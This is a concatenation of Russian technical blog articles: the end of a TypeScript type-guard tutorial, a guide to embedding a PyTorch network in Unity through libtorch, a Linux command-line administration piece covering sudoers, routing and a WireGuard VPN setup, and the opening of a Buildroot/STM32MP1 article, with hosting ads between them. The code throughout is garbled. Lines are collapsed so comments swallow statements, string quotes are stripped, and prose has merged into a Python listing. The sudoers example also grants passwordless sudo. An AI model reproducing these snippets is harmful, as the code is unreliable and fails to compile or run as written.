const userTuple: [User, number] = [u, 10, 20, u, 30]// Ошибка: массив должен состоять из двух элементов с типами `User` и `number`const anotherUserTuple: [User, number] = [u, 10] // Все верно

Предохранители типов (type guards)


Предохранители типов это выражения, выполняющие проверки во время выполнения кода, результат которых может быть использован системой типов для сужения (narrow) области (scope) проверяемого аргумента.


Одним из предохранителей является оператор typeof, который мы использовали в предыдущем примере для сужения области аргумента user.


Существуют и другие предохранители, такие как instanceof, !== и in, полный список можно найти в документации.


Для случаев, когда система типов не может сделать правильный вывод о типе в текущем контексте, мы можем определить пользовательский предохранитель типа через предикат (типизированная функция, возвращающая логическое значение):


// Определяем предохранитель для `user`function isUser(u: unknown): u is User { if (u && typeof u === 'object') {   return 'username' in u && 'currentToken' in u } return false}function getUserAddress(user: User | string) { if (isUser(user)) {   return fetchFromEmail(user) } return fetchFromId(user.id)}

Пользовательские предохранители находятся под полным контролем разработчика, TypeScript не имеет возможности убедиться в их корректности.


Весьма распространенным случаем использования пользовательских предохранителей является влидация внешних данных с помощью JSON-схемы, предоставляемой сторонней библиотекой, такой как Ajv. Обычно, это происходит в веб-приложениях, где тело запроса имеет тип unknown (или any в зависимости от используемого фреймворка), и мы хотим проверить его перед использованием:


import Ajv from 'ajv'const ajv = new Ajv()const validate = ajv.compile({ type: 'object', properties: {   username: { type: 'string' },   currentToken: { type: 'string' }, },})function validateUser(data: unknown): data is User { return validate(data)}

В основе данного механизма лежит синхронизация JSON-схемы с типом. Если мы изменим тип, но не изменим схему, то вполне можем получить неожиданное сужение типа.


В следующем разделе мы узнаем, как обеспечить автоматическую синхронизацию между схемой и типом.


Исключающие объединения (discriminated unions)


Объединения с общим литеральным полем называются исключающими. При работе с такими типами TypeScript предоставляет неявный предохраитель, позволяя избежать его создания в явном виде:


type Member = { type: 'member' currentProject: string}type Admin = { type: 'admin' projects: string[]}type User = Member | Adminfunction getFirstProject(u: User) { if (u.type === 'member') {   return u.currentProject } return u.projects[0]}

В функции getFirstProject() TypeScript сужает область аргумента без помощи предиката. Попытка получить доступ к массиву projects в первой ветке (блоке if) закончится ошибкой типа.


Валидация во время выполнения


Как было отмечено ранее, в случае с пользовательскими предохранителями, корректность возвращаемого результата обеспечивается разработчиком.


При наличии ошибки в предикате, система типов может получить неверную информацию. Рассмотрим пример:


function validateUser(data: unknown): data is User { return true}

Данный предикат всегда возвращает true, позволяя типизатору сузить тип к тому, чем он на самом деле не является:


const invalidUser = undefinedif (validateUser(invalidUser)) { // Предыдущая инструкция всегда возвращает `true` console.log(invalidUser.name) // Ошибка, возникающая во время выполнения}

Существует несколько библиотек, которые позволяют обеспечить автоматическую синхронизацию между валидацией во время выполнения и соответствующим типом. Одним из самых популярных решений является runtypes, однако мы будем использовать io-ts и fp-ts.


Суть данного подхода состоит в том, что мы определяем форму (или фигуру) типа с помощью примитивов, предоставляемых io-ts; эта форма называется декодером (decoder); мы используем ее для проверки данных, которым мы по какой-либо причине не доверяем:


import * as D from 'io-ts/Decoder';import * as E from 'io-ts/Either';import { pipe } from 'fp-ts/function';// Определяем декодер, представляющий `user`const UserDecoder = D.type({   id: D.number,   username: D.string,   name: D.string   email: D.string});// и используем его в отношении потенциально опасных данныхpipe(   UserDecoder.decode(data),   E.fold(       error => console.log(D.draw(error)),       decodedData => {           // типом `decodedData` является `User`           console.log(decodedData.username)       }   ));

Настройка TypeScript


Поведение транспилятора можно настраивать с помощью файла tsconfig.json, находящегося в корне проекта.


Данный файл содержит набор ключей и значений, отвечающих за 3 вещи:


  1. Структура проекта: какие файлы включаются/исключаются из процесса компиляции, зависимости разных TypeScript-проектов, связь между этими проектами через синонимы (aliases).
  2. Поведение типизатора: выполнять ли проверку на наличие null и undefined в кодовой базе, сохранение const enums и т.п.
  3. Процесс транспиляции.

Пресеты TSConfig


TypeScript может преобразовывать код в ES3 и поддерживает несколько форматов модулей (CommonJS, SystemJS и др.).


Точные настройки зависят от среды выполнения кода. Например, если вашей целью является Node.js 10, вы можете транспилировать код в ES2015 и использовать CommonJS в качестве стратегии разрешения модулей.


Если вы используете последнюю версию Node.js, например, 14 или 15, тогда можете указать в качестве цели ESNext или ES2020 и использовать модульную стратегию ESNext.


Наконец, если вашей целью является браузер и вы не используете сборщик модулей, такой как webpack или parcel, то можете использовать UMD.


К счастью, команда TypeScript разработала хороший набор пресетов, которые вы можете просто импортировать в свой tsconfig.json:


{ "extends": "@tsconfig/node12/tsconfig.json", "include": ["src"]}

Среди наиболее важных настроек, можно отметить следующее:


  • declaration: определяет, должен ли TypeScript генерировать файлы определений (.d.ts) во время транспиляции. Данные файлы, как правило, используются при разработке библиотек
  • noEmitOnError: определяет, должен ли TypeScript прерывать процесс компиляции при возникновении ошибок, связанных с неправильными типами. Рекомендуемым значением данной нстройки является true
  • removeComments: true
  • suppressImplicitAnyIndexErrors: true
  • strict: дополнительные проверки. До тех пор, пока у вас не появится веской причины для отключения данной настройки, она должна иметь значение true
  • noEmitHelpers: при необходимости, TypeScript предоставляет утилиты и полифилы для поддержки возможностей, которых не было в ES3 и ES5. Если значение данной настройки является false, утилиты будут помещены в начало кода, в противном случае, они будут опущены (tslib можно устанавливать отдельно)

Заключение


Надеюсь, данная статья позволила вам получить общее предствления о возможностях, предоставляемых TypeScript, а также о том, почему использование TypeScript в дополнение к JavaScript в настоящее время фактически является стандартом веб-разработки.


Система типов TypeScript не является идеальной, но это лучшее, что мы имеет на сегодняшний день.




Облачные серверы от Маклауд отлично подходят для сайтов с JavaScript.


Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!


Подробнее..

Перевод Альтернатива ML-Agents интегрируем нейросети в Unity-проект с помощью PyTorch C API

05.06.2021 10:15:16 | Автор: admin


Кратко объясню, что будет происходить в этой статье:

  • покажу, как использовать PyTorch C++ API для интеграции нейросети в проект на движке Unity;
  • сам проект я подробно описывать не буду, это не имеет значения для данной статьи;
  • использую готовую модель нейросети, преобразовав её трассировку в бинарник, который будет подгружаться в рантайме;
  • покажу, что такой подход существенно облегчает деплой сложных проектов (например, нет проблем с синхронизацией сред Unity и Python).

Добро пожаловать в реальный мир


Методы машинного обучения, в том числе нейронные сети, по-прежнему очень комфортно себя чувствуют в экспериментальных окружениях, а запуск таких проектов в реальном мире часто вызывает трудности. Я немного расскажу про эти трудности, опишу ограничения по способам выхода из них, а также дам поэтапное решение проблемы интеграции нейросети в Unity-проект.

Другими словами, мне нужно превратить исследовательский проект на PyTorch в готовое решение, способное вместе с движком Unity работать в боевых условиях.

Можно несколькими способами интегрировать нейронную сеть в Unity. Я предлагаю использовать C++ API для PyTorch (под названием libtorch) для создания нативной разделяемой библиотеки, которую затем можно будет подключить к Unity как плагин. Существуют и другие подходы (например, использовать ML-Agents), которые в определённых случаях могут быть проще и эффективнее. Но преимущество моего подхода заключается в том, что он обеспечивает большую гибкость и даёт больше возможностей.

Допустим, у вас есть какая-то экзотическая модель и вы просто хотите использовать существующий PyTorch-код (который был написан без намерения общаться с Unity); или ваша команда разрабатывает собственную модель и не хочет отвлекаться на мысли о Unity. В обоих случаях код модели может быть сколь угодно сложным и использовать все возможности PyTorch. А если вдруг дело дойдёт до интеграции, в игру вступит C++ API и завернёт всё в библиотеку без малейшего изменения изначального PyTorch-кода модели.

Итак, мой подход сводится к четырём ключевым шагам:

  1. Настройка окружения.
  2. Подготовка нативной библиотеки (C++).
  3. Импорт функций из библиотеки / подключение плагина (Unity / C#).
  4. Сохранение / развёртывание модели.


ВАЖНО: поскольку я делал проект, сидя под Linux, некоторые команды и настройки отталкиваются от этой ОС; но не думаю, что здесь что-либо должно слишком зависеть от неё. Поэтому вряд ли подготовка библиотеки под Windows вызовет трудности.

Настройка окружения


Прежде чем устанавливать libtorch, убедитесь, что у вас есть

  • CMake

А если хотите использовать GPU, вам потребуются:


С CUDA могут возникнуть сложности, потому что драйвер, библиотеки и прочая хурма должны дружить между собой. И вам придётся поставлять эти библиотеки вместе с Unity-проектом чтобы всё работало из коробки. Так что для меня это самая неудобная часть. Если вы не планируете использовать GPU и CUDA, то знайте: вычисления замедлятся в 50100 раз. И даже если у пользователя довольно слабый графический процессор лучше с ним, чем без него. Даже если ваша нейросеть включается в работу довольно редко, эти редкие включения приведут к задержке, которая будет раздражать пользователя. Возможно, в вашем случае всё будет иначе, но нужен ли вам этот риск?

После того, как вы установили означенное выше ПО, пора загрузить и (локально) установить libtorch. Необязательно устанавливать для всех пользователей: можно просто поместить её в каталог своего проекта и обратиться к нему при запуске CMake.

Подготовка нативной библиотеки


Следующий шаг конфигурирование CMake. Я взял за основу пример из документации PyTorch и изменил его так, чтобы после сборки мы получали библиотеку, а не исполняемый файл. Положите этот файл в корневой каталог вашего проекта с нативной библиотекой.

CMakeLists.txt

cmake_minimum_required(VERSION 3.0 FATAL_ERROR)project(networks)find_package(Torch REQUIRED)set(CMAKE_CXX_FLAGS ${CMAKE_CXX_FLAGS} ${TORCH_CXX_FLAGS})add_library(networks SHARED networks.cpp)target_link_libraries(networks ${TORCH_LIBRARIES})set_property(TARGET networks PROPERTY CXX_STANDARD 14)if (MSVC)file(GLOB TORCH_DLLS ${TORCH_INSTALL_PREFIX}/lib/*.dll)add_custom_command(TARGET networksPOST_BUILDCOMMAND ${CMAKE_COMMAND} -E copy_if_different${TORCH_DLLS}$<TARGET_FILE_DIR:example-app>)endif (MSVC)

Исходный код библиотеки будет размещён в networks.cpp.

В этом подходе есть ещё одна приятная особенность: нам пока не нужно думать, какую именно нейронную сеть мы хотим использовать с Unity. Причина (немного забегая вперед) заключается в том, что мы в любой момент можем запустить сеть в Python, получить её трассировку и просто сказать libtorch применить эту трассировку для этих входов. Поэтому, можно сказать, что наша нативная библиотека просто обслуживает некий чёрный ящик, работая с вводом-выводом.

Но если вы хотите усложнить задачу и, например, реализовать обучение сети прямо во время работы среды Unity, то вам придётся написать на C++ архитектуру сети и обучающий алгоритм. Однако это выходит за рамки данной статьи, поэтому для получения дополнительной информации я отсылаю вас к соответствующему разделу документации PyTorch и репозиторию с примерами кода.

В любом случае, в network.cpp нам нужно определить внешнюю функцию для инициализации сети (загрузка с диска) и внешнюю функцию, которая запускает сеть с входными данными и возвращает результаты.

networks.cpp

#include <torch/script.h>#include <vector>#include <memory>extern C{// This is going to store the loaded networktorch::jit::script::Module network;

Чтобы вызывать функции нашей библиотеки непосредственно из Unity, нужно передать информацию об их точках входа. В Linux я использую для этого __attribute__((visibility(default))). В Windows для этого существует спецификатор __declspec( dllexport ), но, честно говоря, я не проверял, работает ли он там.

Итак, начнём с функции загрузки трассировки нейросети с диска. Файл имеет относительный путь он лежит в корневом каталоге проекта Unity, а не в Assets/. Так что будьте внимательны. Вы также можете просто передать имя файла из Unity.
extern __attribute__((visibility(default))) void InitNetwork(){network = torch::jit::load(network_trace.pt);network.to(at::kCUDA); // If we're doing this on GPU}

Теперь перейдём к функции, которая кормит сеть входными данными. Напишем на С++ код, который использует указатели (ими управляет Unity) для перегонки данных туда и обратно. В этом примере я полагаю, что моя сеть имеет входы и выходы фиксированной размерности и запрещаю Unity менять это. Здесь, например, я возьму Tensor {1,3,64,64} и Tensor {1,5,64,64} (например, такая сеть нужна для сегментации пикселей RGB-изображений на 5 групп).

В общем случае вам придётся передать информацию о размерности и объёме данных, чтобы избежать переполнения буфера.

Чтобы преобразовать данные в формат, с которым работает libtorch, мы используем функцию torch::from_blob. Она принимает массив чисел с плавающей запятой и описание тензора (с указанием размерности) и возвращает созданный Тензор.

Нейросети могут принимать несколько входных аргументов (например, вызов forward () принимает x, y, z в качестве входных данных). Чтобы справиться с этим, все входные тензоры упаковываются в вектор стандартной библиотеки шаблонов torch::jit::IValue (даже если аргумент только один).

Чтобы получить данные из тензора, проще всего обработать их поэлементно, но если из-за этого упадёт скорость обработки, для оптимизации процесса чтения данных можно использовать Tensor::accessor. Хотя лично мне это не понадобилось.

В результате для моей нейросети получается вот такой простой код:

extern __attribute__((visibility(default))) void ApplyNetwork(float *data, float *output){Tensor x = torch::from_blob(data, {1,3,64,64}).cuda();std::vector<torch::jit::IValue> inputs;inputs.push_back(x);Tensor z = network.forward(inputs).toTensor();for (int i=0;i<1*5*64*64;i++)output[i] = z[0][i].item<float>();}}

Чтобы скомпилировать код, следуйте указаниям в документации, создайте подкаталог build/ и запустите следующие команды:

cmake -DCMAKE_PREFIX_PATH=/absolute/path/to/libtorch <strong>..</strong>cmake --build <strong>.</strong> --config Release

Если всё пойдёт хорошо, будут созданы файлы libnetworks.so или networks.dll, которые вы сможете разместить в Assets/Plugins/ вашего Unity-проекта.

Подключение плагина к Unity


Для импорта функций из библиотеки используем DllImport. Первая функция, которая нам понадобится, это InitNetwork(). При подключении плагина Unity вызовет именно её:

using System.Runtime.InteropServices;public class Startup : MonoBehaviour{...[DllImport(networks)]private static extern void InitNetwork();void Start(){...InitNetwork();...}}

Чтобы движок Unity (С#) мог обмениваться данными с библиотекой (C++), я поручу ему всю работу по управлению памятью:

  • выделю память под массивы нужного размера на стороне Unity;
  • передам адрес первого элемента массива в функцию ApplyNetwork (её тоже перед этим нужно импортировать);
  • просто позволю адресной арифметике C++ обращаться к этой памяти при получении или отправке данных.

В коде библиотеки (С++) я должен избегать какого-либо выделения или освобождения памяти. С другой стороны, если я передаю адрес первого элемента массива из Unity в функцию ApplyNetwork, я должен сохранять этот указатель (и соответствующий участок памяти) до тех пор, пока нейросеть не завершит обработку данных.

К счастью, моя нативная библиотека делает простую работу по перегонке данных, так что следить за этим было достаточно легко. Но если вы хотите распараллелить процессы так чтобы, нейронная сеть одновременно и обучалась, и занималась обработкой данных для пользователя, придётся искать какое-то решение.

[DllImport(networks)]private static extern void ApplyNetwork(ref float data, ref float output);void SomeFunction() {float[] input = new float[1*3*64*64];float[] output = new float[1*5*64*64];// Load input with whatever data you want...ApplyNetwork(ref input[0], ref output[0]);// Do whatever you want with the output...}

Сохранение модели


Статья близится к концу, а мы так и обсудили, какую нейронную сеть я выбрал для моего проекта. Это простая свёрточная нейросеть, которую можно использовать для сегментации изображений. Я не включил в модель сбор данных и обучение: моя задача рассказать про интеграцию с Unity, а не про заморочки с трассировкой сложных нейросетей. Не обессудьте.

Если вам интересно, вот здесь есть хороший сложный пример с описанием некоторых особых случаев и потенциальных проблем. Одна из главных проблем сводится к тому, что трассировка работает корректно не для всех типов данных. В документации рассказывается о способах решения проблемы с помощью аннотаций и компиляции с явным указанием типов.

Так может выглядеть Python-код для нашей простой модели:

import torchimport torch.nn as nnimport torch.nn.functional as Fclass Net(nn.Module):def __init__(self):super().__init__()self.c1 = nn.Conv2d(3,64,5,padding=2)self.c2 = nn.Conv2d(64,5,5,padding=2)def forward(self, x): z = F.leaky_relu(self.c1(x)) z = F.log_softmax(self.c2(z), dim=1)return zКод не очень красивый, конечно, но, думаю, идея понятна.Сохранить (экспортировать) модель с текущими значениями коэффициентов можно так:network = Net().cuda()example = torch.rand(1, 3, 32, 32).cuda()traced_network = torch.jit.trace(network, example)traced_network.save(network_trace.pt)

Развёртывание модели


Мы сделали статическую библиотеку, но для развёртывания этого недостаточно: в проект нужно включить дополнительные библиотеки. К сожалению, у меня нет 100-процентной уверенности в том, какие именно библиотеки нужно включить обязательно. Я выбрал libtorch, libc10, libc10_cuda, libnvToolsExt и libcudart. В сумме они добавляют 2 Гб к изначальному размеру проекта.

LibTorch vs ML-Agents


Я считаю, что для многих проектов, особенно в области исследований и прототипирования, действительно стоит выбрать ML-Agents, плагин, созданный специально для Unity. Но когда проекты становятся более сложными, нужно подстраховаться на случай, если что-то пойдёт не так. А такое случается нередко

Пару недель назад я как раз использовал ML-Agents для взаимодействия между демо-игрой на Unity и парой нейронных сетей, написанных на Python. В зависимости от игровой логики Unity вызывал одну из этих сетей с разными наборами данных.

Мне пришлось основательно покопаться в Python API для ML-Agents. Некоторые операции, которые я использовал в моих нейросетях, например 1d свёртка и операции транспонирования, не поддерживались в Barracuda (это библиотека трассировки, которую в настоящее время использует ML-Agents).

Проблема, с которой я столкнулся, заключалась в том, что ML-Agents собирает запросы от агентов в течение некого временного интервала, а затем для оценки отправляет, к примеру, в Jupyter notebook. Однако некоторые из моих нейросетей зависели от результатов работы других моих сетей. И, чтобы получить оценку всей цепочки моих нейронных сетей, мне пришлось бы каждый раз, делая запрос, ждать какое-то время, получать результат, делать другой запрос, ждать, получать результат и так далее. Кроме того, порядок включения этих сетей в работу нетривиально зависел от ввода данных пользователем. А это означало, что я не мог просто последовательно запускать нейросети.

Кроме того, в некоторых случаях объём данных, который мне нужно было отправить, должен был варьироваться. А ML-Agents больше рассчитан на фиксированную размерность для каждого агента (вроде бы её можно менять на лету, но я отношусь к этому скептически).

Я мог бы сделать что-то вроде вычисления последовательности вызова нейросетей по запросу, отправляя соответствующие входные данные для Python API. Но из-за этого мой код, как на стороне Unity, так и на стороне Python, стал бы слишком сложным, или вовсе избыточным. Поэтому я решил изучить подход с использованием libtorch и не прогадал.

Если бы раньше кто-нибудь попросил меня встроить в Unity-проект предсказательную модель GPT-2 или MAML, я бы посоветовал ему постараться обойтись без этого. Реализация такой задачи с использованием ML-Agents слишком сложна. Но теперь я могу найти или разработать любую модель с PyTorch, а потом завернуть её в нативную библиотеку, которая подключается к Unity как обычный плагин.



Облачные серверы от Маклауд быстрые и безопасные.

Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!

Подробнее..

Даже не пытайтесь повторить это в GUI

19.05.2021 10:20:52 | Автор: admin


Есть такое понятие, как дружественный пользователю Linux. Возникло оно оно очень давно, возможно через несколько минут после того, как Линус Торвальдс анонсировал свою разработку в листе comp.os.minix. Трудно сказать принесла-ли пользу данная концепция и различные её воплощения на рабочей станции. Понятно одно, что прогресс на этом пути довольно-таки ощутимо не совпадает с ожиданиями этого самого пользователя.

Возможно дело в том, что производители коммерческих дистрибутивов Linux и производители ПК стараются показать, что вполне реалистично использовать на рабочей станции Linux и при этом не использовать консоль в качестве основного инструмента управления ОС. Возможно, в будущем так и будет, но сегодня консоль на домашнем компьютере так же незаменима, как и на сервере и для этого есть веские основания.

Предлагаем рассмотреть несколько сценариев из реальной жизни, где хочешь не хочешь, все необходимо сделать в CLI. Таких примеров очень и очень много, это всего лишь пара кейсов в огромном множестве подобных.

Кейс 1 настройка пользовательского окружения


Большинство дистрибутивов Linux дают возможность графической установки ОС, которая для продвинутого пользователя Windows, или macOS не представляет из себя ничего сложного. Есть свидетельства в пользу того, что Ubuntu работает из коробки для пользователя, который впервые ставит Linux.

Однако дальше сразу возникает необходимость ручками внести правки в /etc/sudoers для того, чтобы пользователь имел права на исполнение sudo команд. Входить под учетной записью root в DE окружение не удастся, по умолчанию большинство Desktop Manager-ов отключают эту опцию. Придется вручную снимать эти ограничения в консольном режиме, вот и уловка 22. Остается visudo /etc/sudoers, или в крайнем случае vim /etc/sudoers из под супер пользователя.

Так выгладит моя правка файла.

|18:42:09|admin@srv:[~]> sudo diff /etc/sudoers /etc/sudoers.orig

85c85

< %wheel ALL=(ALL) NOPASSWD: ALL

---

> # %wheel ALL=(ALL) NOPASSWD: ALL


Нужно всего лишь отключить комментирование в соответствующей строке, после чего достаточно включить пользователя в группу wheel. Странно было бы это делать в графике, если можно запустить всего лишь gpasswd -a admin wheel из под пользователя root.

Но раз уж у нас есть права sudo надо уметь ими пользоваться. Самое первое для чего эти права понадобятся для установки и обновления программ. Можно конечно воспользоваться графическим фронтендом программ из репозитория, в конце концов даже Gentoo имеет GUI для своего portage. Однако ограниченность и второсортность этих средств настолько выпирают, что буквально подталкивают пользователя в сторону CLI.

Вы же не собираетесь вместо простого sudo aptitude update / sudo dnf update запускать графический фронтенд и беспомощно кататься вверх-вниз по списку пакетов. Если вы собираетесь оставаться на Linux всерьез и надолго, то необходимо освоить необходимый минимум консольных команд для вашего пакетного менеджера.

Чуть менее привычным делом является настройка шрифтов. Одной установкой шрифтов семейства Liberation, Noto, Dejavu и Droid дело не ограничивается. Нужно еще избавиться от использования древних шрифтов Microsoft из пакета corefonts. Проще всего их не ставить совсем, однако часто они проникают в систему, как зависимость для Wine, или других пакетов. В таком случае придется создать, или редактировать файл ~/.fonts.conf. Вот директива по избавлению от Arial.

<match target=pattern><test name=family qual=any><string>Arial</string></test><edit name=family binding=same mode=assign><string>Noto Sans</string></edit></match>

Хочу подчеркнуть, что проблема не в том, что используются шрифты Microsoft, а в том, что это очень старые версии их. Соответственно, на экране они выглядят не очень, мягко говоря. Только их и разрешено использовать в дистрибутивах Linux. Можно делать это в графическом редакторе, но файлы с точкой в начале имени придется хитрым способом открывать во встроенном файловом менеджере каждый раз, а это неудобно.

Кроме того, возможно придется шаманить с симлинками в /usr/share/fonts, или в /etc/fonts для того, чтобы избавиться от ШГ. Так что лучше сразу все делать в командной строке. На самом деле тут многие сходят с дистанции, стараясь как можно дольше делать все с помощью графических приложений, через какое-то время ломаются обновления, слетают драйвера и все катится в тартарары.

Этого нельзя допустить, поэтому сразу переходим к следующему этапу необходимости освоить консольный текстовый редактор: vim, emacs, или их клоны. Поверьте не стоит привязываться к простеньким nano, или mcedit, в которых даже undo еще не завезли. Освоив эти редакторы вы спокойно можете редактировать конфигурационные файлы в /etc, $HOME и получить надежный контроль над системой.

Кейс 2 настроить сетевое окружение в офисе


Сейчас с NetworkManager настраивать сети стало намного проще, а раньше для настройки беспроводного соединения обязательно нужно было редактировать файл wpa_supplicant.conf. Однако и сегодня функционал NetworkManager во многом пока еще ограничен. Например в нем нельзя подключиться к vpn по протоколу Juniper Pulse с двухфакторной аутентификацией только CLI.

|18:29:57|admin@srv:[~]> sudo openconnect --protocol=pulse \--authgroup ТOTP -u jsmith https://my.company-gateway.com

В офисе вполне может случится так, что заблокированы многие порты на исходящий и входящий трафик по главной сети, но разблокированы во второстепенной. Если подключится ко второстепенной сети, то тогда многие важные ресурсы главной сети становятся недоступны. С другой стороны утыкаться в межсетевой экран, тоже не хочется. Какой выход?

Берем важные подсети главной сети и прописываем их статистическим маршрутом.

sudo ip route add 110.10.0.0/8 via 110.10.10.1;

После чего подключаемся ко второстепенной сети и остальной трафик направляем через нее. Так как метрика главной сети меньше в абсолютном значении, у нее приоритет выше и при двух параллельных default route трафик все же упорно идет через нее. Так как поменять метрику маршрута нельзя, проще удалить ненужный default route.

sudo ip route delete default dev eth0;

Для одного раза достаточно запустить эти две команды, но каждый день так подключаться неудобно, надо это автоматизировать. Для этого нужно создать скрипт в папке /etc/NetworkManager/dispatcher.d/.

|17:43:17|admin@srv:[~]> ls /etc/NetworkManager/dispatcher.d/10-openrc-status no-wait.d pre-down.d pre-up.d|17:43:22|admin@srv:[~]> cd /etc/NetworkManager/dispatcher.d/pre-up.d|17:43:27|admin@srv:[~]> sudo chmod +x 10-office-netw.sh

Скрипты, которые следует выполнить перед активацией сетевого соединения должны находиться в pre-up.d. Соответственно, скрипты на случай отключения сетевого соединения следует класть в pre-down.d. Названия могут быть произвольные, если скриптов несколько, то они будут выполняться в алфавитном порядке.

#!/bin/bashif [ $1 == eth0 ] && [ $2 == up ]; thenip route add 110.10.0.0/8 via 110.10.10.1ip route delete default dev eth0#более высокая метрика, чтобы быть ниже основного gw в ip routeip route add default dev eth0 metric 700fi

Объективности ради надо сказать, что директивы ip route add можно реализовать из интерфейса NetworkManager в свойствах в закладке соединения IPv4 => Routes.

Кейс 3 поднять Wireguard VPN


Буквально каждый день мы получаем новые доказательство в пользу того, что неплохо бы обзавестись собственным VPN решением. Сегодня под запретом торренты, зарубежные букмекерские сайты, завтра решат ограничить социальные сети и онлайн-библиотеки, а затем и новостные ресурсы кому-то не понравятся. Благо технологии тоже не стоят на месте и при соответствующих навыках можно за 15 минут настроить Wireguard VPN и обходить все нелепые ограничения. Самое главное наличие Linux сервера с внешним, т е не российским IP адресом.

Вся настройка происходит исключительно с использование CLI и текстовых конфигурационных файлов. Это не полноценный гайд по настройке, так как весь процесс состоит из следующих этапов.

  1. Установить пакет утилит Wireguard.
    aptitude install wireguard-tools
  2. Установить kernel-headers для более ранних версий ядра.
    aptitude install linux-headers
  3. Открыть наружу связующий UDP порт (в нашем примере 51820) с управляющей консоли сервиса виртуального сервера.
  4. Создать открытый и закрытый ключи для Wireguard на клиенте и сервере.
    umask 077; wg genkey | tee privatekey | wg pubkey > publickey
  5. Создать конфигурационный файл в /etc/wireguard.
  6. Проверить наличие L2 соединения.
    wg show, если есть нечто вроде transfer: 4.80 MiB received, 1833.04 KiB sent, то это хороший признак.
  7. Подключить IP Forwarding с помощью sysctl -w net.ipv4.ip_forward=1 и прописать в /etc/sysctl.conf, если этого еще не было сделано.
  8. Настроить маршрутизацию трафика и NAT masquerade.

На самом деле в терминологии Wireguard участники сетевого соединения именуются не клиент и сервер, а peers равные. Однако на деле, все же один из узлов выполняет функцию именно сервера, поэтому логичнее их так и именовать для данного кейса.

Конфигурационный файл VPN-сервера содержит собственный закрытый ключ и открытый ключ клиента. Обратное также верно, в конфигурационном файле VPN-клиента прописываем собственный закрытый ключ и открытый ключ сервера.

#client config[Interface]PrivateKey = uJPzgCQ6WNlAUp3s5rabE/EVt1qYh3Ym01sx6oJI0V4Address = 192.168.10.2/24[Peer]PublicKey = qdjdqh2pN3DEMDUDRob8K3bp9BZFJbT59fprBrl99zMAllowedIPs = 0.0.0.0/0Endpoint = 172.105.211.120:51820PersistentKeepalive = 20

Любая неточность в каждом из перечисленных пунктов, кроме проверки OSI L2 соединения приведет к сбою в работе VPN туннеля, но при необходимой сноровке все можно сделать быстро и точно.

#server conifg[Interface]Address = 192.168.10.1/24ListenPort = 51820PrivateKey = eEvqkSJVw/7cGUEcJXmeHiNFDLBGOz8GpScshecvNHUSaveConfig = true[Peer]PublicKey = 2H8vRWKCrddLf8vPwwTLMfZcRhOj10UBdc0j8W7yQAk=AllowedIPs = 192.168.10.2/32

В некоторых примерах AllowedIPs клиента бывает выставлен на внутренний туннельный IP адрес сервера непонятно зачем. Тогда только запросы на этот IP адрес и будут разрешены, если же выставить 0.0.0.0/0 то весь трафик пойдет через Wireguard VPN. Также Endpoint клиента обязательно должен указывать на внешний IP адрес сервера.

Остается настроить NAT masquerade для того, чтобы Wireguard сервер мог осуществлять маршрутизацию трафика в NAT среде.

#IPv4[root@wgsrv ~]$ iptables -A FORWARD -i wg0 -j ACCEPT[root@wgsrv ~]$ iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE#IPv6[root@wgsrv ~]$ ip6tables -A FORWARD -i wg0 -j ACCEPT[root@wgsrv ~]$ ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE#NAT[root@wgsrv ~]$ iptables -t nat -A POSTROUTING -s 192.168.10.0/24 -o eth0 -j MASQUERADE

После чего надо сохранить правила в базе iptables, или netfilter. Также и сервис wg-quick, заведующий VPN туннелем Wireguard, необходимо добавить в автозагрузку.

[root@wgsrv ~]$ systemctl enable wg-quick@wg0[root@wgsrv ~]$ systemctl netfilter-persistent save[root@wgsrv ~]$ systemctl enable netfilter-persistent

Заключение


Надеюсь приведенных примеров достаточно для того, чтобы показать насколько необходимо умение работать с CLI и насколько проще выполнять основные действия по системному администрированию даже для домашней рабочей станции с Linux OS.



Облачные серверы от Маклауд быстрые и безопасные.

Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!

Подробнее..

Перевод Собираем и устанавливаем свою Linux-систему на микроконтроллер STM32MP1

09.06.2021 10:16:43 | Автор: admin

Примечание переводчика: эта статья уже выходила в блоге, но из-за мисклика вышла как оригинальная статья. Выпускаю ее снова, указав автора оригинала и ссылку на него

В этой статье мы автоматизируем процесс сборки и установки Linux-системы на микроконтроллер STM32MP157-DK2. ОС будет обладать минимальной функциональностью, но зато мы соберём из исходников собственную систему. А поможет нам в этом Buildroot система сборки Linux-дистрибутивов.

Что такое Buildroot?


Сначала вспомним, что Linux-система состоит из достаточно большого количества разных компонентов. Так как мы здесь говорим про embedded-платформы, выделим следующие компоненты:

  1. Загрузчик (обычно для архитектуры ARM это U-Boot): выполняет инициализацию HW, загружает ядро Linux и стартует его.
  2. Собственно, само ядро, управляющее процессами и памятью, содержащее планировщик, файловые системы, сетевой стек и, конечно, все необходимые драйвера для вашей аппаратной платформы.

  3. Пользовательские библиотеки и приложения из open source экосистемы: командные оболочки, библиотеки для работы с графикой, сетью, шифрованием и так далее.

  4. Внутренние пользовательские библиотеки и приложения, реализующие какую-то свою бизнес-логику.

Собрать все эти компоненты воедино мы можем двумя способами:

  1. Использовать готовый бинарный дистрибутив, например от Debian, Ubuntu или Fedora.

    Некоторые из этих дистрибутивов поддерживают архитектуру ARMv7. Основное преимущество этого решения в том, что оно простое: эти бинарные дистрибутивы знакомы большинству пользователей Linux-систем, они имеют красивую и простую в использовании систему управления пакетами, все пакеты предварительно скомпилированы, поэтому нашей цели можно достичь очень быстро. Однако собранные таким образом системы обычно сложно кастомизировать (компоненты уже созданы, поэтому вы не можете легко изменить их конфигурацию в соответствии с вашими потребностями) и сложно оптимизировать (с точки зрения объёма занимаемой памяти или времени загрузки).

  2. Использовать систему сборки, например,Buildroot илиYocto/OpenEmbedded.

    Они позволяют собрать Linux-систему непосредственно из исходного кода. А это означает, что систему будет легко оптимизировать и кастомизировать под свои нужды. Конечно же, этот способ намного сложнее, а на компиляцию кода придётся потратить немало процессорного времени.

Мы выбираем второй способ. В этой статье используем Buildroot, потому что с этой системой сборки достаточно просто разобраться и она подходит для embedded-платформ.

Buildroot это набор make-файлов и скриптов, которые автоматизируют загрузку исходного кода различных компонентов, их извлечение, настройку, сборку и установку. В конечном итоге он генерирует образ системы, готовый к прошивке и обычно содержащий загрузчик, файл-образ ядра Linux и корневую файловую систему.

